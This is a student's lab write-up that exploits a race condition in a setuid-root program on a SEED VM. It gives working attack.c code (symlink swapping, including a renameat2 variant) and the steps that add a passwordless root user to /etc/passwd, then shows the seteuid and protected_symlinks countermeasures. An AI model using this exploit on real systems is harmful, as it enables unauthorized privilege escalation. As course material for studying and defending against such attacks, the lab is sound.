Assignment 6:

```
[10/19/21]seed@VM:~$ sudo sysctl -w fs.protected_symlinks=0
fs.protected_symlinks = 0
[10/19/21]seed@VM:~$ sudo sysctl fs.protected_regular=0
fs.protected_regular = 0
[10/19/21]seed@VM:~$
```

Turning of bult-in counter measures

```
[10/19/21]seed@VM:~/.../Labsetup$ gcc vulp.c -o vulp
[10/19/21]seed@VM:~/.../Labsetup$ sudo chown root vulp
[10/19/21]seed@VM:~/.../Labsetup$ sudo chmod 4755 vulp
[10/19/21]seed@VM:~/.../Labsetup$
```

Compiling the vulnerable c program that is given to us

Task1:

```
[10/19/21]seed@VM:~/.../Labsetup$ sudo su
root@VM:/home/seed/assignment6/Labsetup(5)/Labsetup# ls
target_process.sh  vulp  vulp.c
root@VM:/home/seed/assignment6/Labsetup(5)/Labsetup#
```

Open the terminal in root mode

```
root@VM:/home/seed/assignment6/Labsetup(5)/Labsetup# vi /etc/passwd
```

And access the /etc/passwd file using the vi editor

```
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
user1:x:1001:1001:usre1,1,1,1,1:/home/user1:/bin/bash


test:U6aMy0wojraho:0:0:test:/root:/bin/bash
:wq
```

Adding the test user at the end of the file and saving it .

```
[10/19/21]seed@VM:~/.../Labsetup$ su test
Password:
root@VM:/home/seed/assignment6/Labsetup(5)/Labsetup#
```

We can see that we are able to acces the test user terminal and this test user is a root user as the terminal open in root mode

```
root@VM:/home/seed/assignment6/Labsetup(5)/Labsetup# vi /etc/passwd
root@VM:/home/seed/assignment6/Labsetup(5)/Labsetup# exit
exit
[10/19/21]seed@VM:~/.../Labsetup$
```

Then we open the /etc/passwd file and clear the last line which we added for new user so that we can continue with the next task

```
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
user1:x:1001:1001:usre1,1,1,1,1:/home/user1:/bin/bash
"/etc/passwd" 50L, 2940C
```

Task2

2.a

```
[10/19/21]seed@VM:~/.../Labsetup$ ln -sf /etc/passwd /tmp/XYZ
```

Making a symbolic link for /etc/passwd to /tmp/XYZ

```
15    if (!access(fn, W_OK)) {
16        sleep(10);
17        fp = fopen(fn, "a+");
18        if (!fp) {
19            perror("Open failed");
20            exit(1);
21        }
```

Sleeping the vulp.c program for 10 seconds using the sleep command in line 16 and the re compiling it

```
root@VM:/home/seed/assignment6/Labsetup(5)/Labsetup# ./vulp
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
root@VM:/home/seed/assignment6/Labsetup(5)/Labsetup# vi /etc/passwd
```

Executing the vulp.c program in root mode and giving the new user info in the sleep time when the program yields control to the system (in its sleep time)

```
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
user1:x:1001:1001:usre1,1,1,1,1:/home/user1:/bin/bas

test:U6aMy0wojraho:0:0:test:/root:/bin/bash
"/etc/passwd" [noeol] 52L, 2984C                                    50,53         Bot
```

We can see that the /etc/passwd file gets updated with the new user info

```
[10/20/21]seed@VM:~/.../Labsetup$ su test
Password:
root@VM:/home/seed/assignment6/Labsetup(5)/Labsetup#
```

Here can see that the new user is created and has no password and this new user is a root user

2.b

```
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
user1:x:1001:1001:usre1,1,1,1,1:/home/user1:/bin/bash
"/etc/passwd" 50L, 2940C
```

/etc/passwd file before task

```c
#include <unistd.h>
/*attack.c*/
int main()
{
        while(1) {

                unlink("/tmp/XYZ");
                symlink("/dev/null","/tmp/XYZ");
                usleep(10000);

                unlink("/tmp/XYZ");
                symlink("/etc/passwd","/tmp/XYZ");
                usleep(10000);
        }
        return 0;
}
```

Createing the attack process code (c.program)

```
[10/20/21]seed@VM:~/.../Labsetup$ gcc attack.c -o attack
[10/20/21]seed@VM:~/.../Labsetup$ ./attack
```

Compile and execute the attack process

```c
    if (!access(fn, W_OK)) {
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
```

Vulp.c program without sleep

```
#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
   echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp
   new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"


~
~
~
~
~
~
~
                                                    8,52          All
```

Target_process.sh file that is already given to us

```
[10/20/21]seed@VM:~/.../Labsetup$ ./target_process.sh
```

Execute the target process so that vulp.v vulnerable program gets executed multiple times until the target file gets updated

```
No permission
No permission
No permission
No permission
No permission
No permission
STOP... The passwd file has been changed
[10/20/21]seed@VM:~/.../Labsetup$
```

We can see that the execution stops when the target file get updated

```
[10/20/21]seed@VM:~/.../Labsetup$ su test
Password:
root@VM:/home/seed/assignment6/Labsetup(5)/Labsetup# id
uid=0(root) gid=0(root) groups=0(root)
root@VM:/home/seed/assignment6/Labsetup(5)/Labsetup#
```

An then we test and see that we have added a new root user to the passwd file by exploiting the vulnerable program that has race condition vulnerability

```
[10/20/21]seed@VM:~/.../Labsetup$ ./attack
^C
[10/20/21]seed@VM:~/.../Labsetup$
```

Terminating the attack process

2.c

```
Open   attack.c   ~/assignment6/Labsetup(5)/Labsetup   Save
1 #define _GNU_SOURCE
2 #include <stdio.h>
3 #include <unistd.h>
4 int main()
5 {
6         while(1) {
7
8                 unsigned int flags = RENAME_EXCHANGE;
9                 unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
10                unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
11
12                renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
13
14        }
15        return 0;
16 }
```

Edit the attack.c program atomic using renameat2 and modifying the rest of the code accordingly

```
[10/20/21]seed@VM:~/.../Labsetup$ gcc attack.c -o attack
[10/20/21]seed@VM:~/.../Labsetup$ ./attack
```

Compile and execute the attack process

```
[10/20/21]seed@VM:~/.../Labsetup$ ./target_process.sh
No permission
No permission
No permission
No permission
No permission
No permission
STOP... The passwd file has been changed
[10/20/21]seed@VM:~/.../Labsetup$
```

Execute the target_process.sh that already exists which executes vulp.c multiples times until the target file is updated. In this case the target file is /etc/passwd file

```
[10/20/21]seed@VM:~/.../Labsetup$ su test
Password:
root@VM:/home/seed/assignment6/Labsetup(5)/Labsetup# id
uid=0(root) gid=0(root) groups=0(root)
root@VM:/home/seed/assignment6/Labsetup(5)/Labsetup#
```

We can see that we are able to create a new root user called test by exploiting the race condition vulnerability and targeting the /etc/passwd file

```
[10/20/21]seed@VM:~/.../Labsetup$ ./attack
^C
[10/20/21]seed@VM:~/.../Labsetup$
```

Terminating the attack process

Task3:

3a:

```
15    if (!access(fn, W_OK)) {
16        seteuid(1000);
17        fp = fopen(fn, "a+");
18        if (!fp) {
19            perror("Open failed");
20            exit(1);
21        }
22        fwrite("\n", sizeof(char), 1, fp);
23        fwrite(buffer, sizeof(char), strlen(buffer), fp);
24        fclose(fp);
25        seteuid(0);
```

Adding seteuid commands at line 16 and line 25 in the vulnerable program to drop privileges before opening the file and then restoring the privileges after file is closed (according to code)

```
[10/20/21]seed@VM:~/.../Labsetup$ gcc vulp.c -o vulp
[10/20/21]seed@VM:~/.../Labsetup$ sudo chown root vulp
[10/20/21]seed@VM:~/.../Labsetup$ sudo chmod 4755 vulp
[10/20/21]seed@VM:~/.../Labsetup$ ./attack
```

Compiling the vulp.c program after the modifications and executing the attack code

```
[10/20/21]seed@VM:~/.../Labsetup$ ./target_process.sh
```

Executing the target_process.sh for it to execute vulp.c program multiple times until it updates the /etc/passwd file

```
No permission
No permission
Open failed: Permission denied
No permission
No permission
No permission
No permission
No permission
^C
[10/20/21]seed@VM:~/.../Labsetup$
```

The program can't open the target file as the privileges are dropped right before opening the file in the vulnerability program as we have done seteuid(1000) meaning the program is not going to have root privileges anymore cant access everything as it pleases which helps as a counter measure for the race condition vulnerability that exists in the vulnerable program

```
[10/20/21]seed@VM:~/.../Labsetup$ ./attack
^C
[10/20/21]seed@VM:~/.../Labsetup$
```

Terminating the attack process

3b:

```
[10/20/21]seed@VM:~/.../Labsetup$ sudo sysctl -w fs.protected_symlinks=1
fs.protected_symlinks = 1
```

Enabling the ubuntu default symlink protection against race condition attacks

```
15      if (!access(fn, W_OK)) {
16          fp = fopen(fn, "a+");
17          if (!fp) {
18              perror("Open failed");
19              exit(1);
20          }
21          fwrite("\n", sizeof(char), 1, fp);
22          fwrite(buffer, sizeof(char), strlen(buffer), fp);
23          fclose(fp);
24      } else {
```

Program changed back to how it was

```
[10/20/21]seed@VM:~/.../Labsetup$ gcc vulp.c -o vulp
[10/20/21]seed@VM:~/.../Labsetup$ sudo chown root vulp
[10/20/21]seed@VM:~/.../Labsetup$ sudo chmod 4755 vulp
```

Compiling the vulp program and making it a setuid program

```
[10/20/21]seed@VM:~/.../Labsetup$ ./attack
```

Running the attack process

```
[10/20/21]seed@VM:~/.../Labsetup$ ./target_process.sh
```

Running the target process to execute vulp.c multiple times

```
No permission
No permission
No permission
No permission
Open failed: Permission denied
Open failed: Permission denied
No permission
```

The ubuntu built-in counter measure against race condition also doesn't allow the vulnerable program to open the target file and the attack fails

```
[10/20/21]seed@VM:~/.../Labsetup$ ./attack
^C
[10/20/21]seed@VM:~/.../Labsetup$
```

Terminating attack process

Question1:

The symlink protection only allows fopen() function when the owner of the symlink matches wither the follower (eid of the process) or the directory owner only

Question2:

It only works on directories that have its sticky bit enabled like the /tmp file or are world-writable